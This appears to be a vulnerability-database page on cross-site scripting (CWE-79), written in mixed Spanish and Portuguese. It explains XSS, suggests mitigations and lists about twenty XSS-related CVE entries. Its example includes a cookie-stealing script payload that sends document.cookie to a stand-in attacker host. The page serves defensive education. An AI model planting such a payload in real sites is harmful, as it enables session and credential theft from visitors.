Fallos del tipo CWE-79

29.084 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-28852MEDIUMGLPI vulnerable to stored Cross-site Scripting through dashboard administrationEPSS 0.5%CVE-2026-50230MEDIUMLyrion Music Server 9.2.0 Reflected XSS via server.logEPSS 0.5%CVE-2024-47524HIGHLibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" NameEPSS 0.5%CVE-2022-2300MEDIUMCross-site Scripting (XSS) - Stored in microweber/microweberEPSS 0.5%CVE-2026-59729MEDIUMAstro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298)EPSS 0.5%CVE-2021-3938LOWCross-site Scripting (XSS) - Generic in snipe/snipe-itEPSS 0.5%CVE-2022-0834HIGHAmelia <= 1.0.46 - Stored Cross Site Scripting via lastNameEPSS 0.5%CVE-2024-41333MEDIUMA reflected cross-site scripting (XSS) vulnerability in Phpgurukul Tourism Management System v2.0 allows attackers to execute arbitrary codeEPSS 0.5%CVE-2024-8870MEDIUMForms for Mailchimp by Optin Cat – Grow Your MailChimp List <= 2.5.7 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-44854MEDIUMCross Site Scripting (XSS) vulnerability in Cobham SAILOR VSAT Ku v.164B019, allows a remote attacker to execute arbitrary code via a crafteEPSS 0.5%CVE-2023-2318HIGHMarkText DOM-Based Cross-site Scripting leading to Remote Code ExecutionEPSS 0.5%CVE-2026-65048CRITICALNinja Forms Unauthenticated Stored Cross-Site Scripting via Repeatable Fieldset Submission IndexEPSS 0.5%CVE-2023-49034MEDIUMCross Site Scripting (XSS) vulnerability in ProjeQtOr 11.0.2 allows a remote attacker to execute arbitrary code via a crafted script to thecEPSS 0.5%CVE-2022-4028MEDIUMSimple:Press <= 6.8 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Profile SignaturesEPSS 0.5%CVE-2022-4242MEDIUMWP Google Review Slider < 11.6 - Admin+ Stored XSSEPSS 0.5%CVE-2026-3643HIGHAccessibly <= 3.0.3 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via Widget Source Injection via REST APIEPSS 0.5%CVE-2022-0446—Simple Banner < 2.12.0 - Admin+ Stored Cross Site ScriptingEPSS 0.5%CVE-2026-54889MEDIUMUnsanitized URL schemes in MDEx Quill Delta output allow javascript: injection (XSS)EPSS 0.5%CVE-2022-29449MEDIUMWordPress Opal Hotel Room Booking plugin <= 1.2.7 - Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2026-88804CRITICALUnauthenticated update of public UI settings leading to stored cross-site scripting in RancherEPSS 0.5%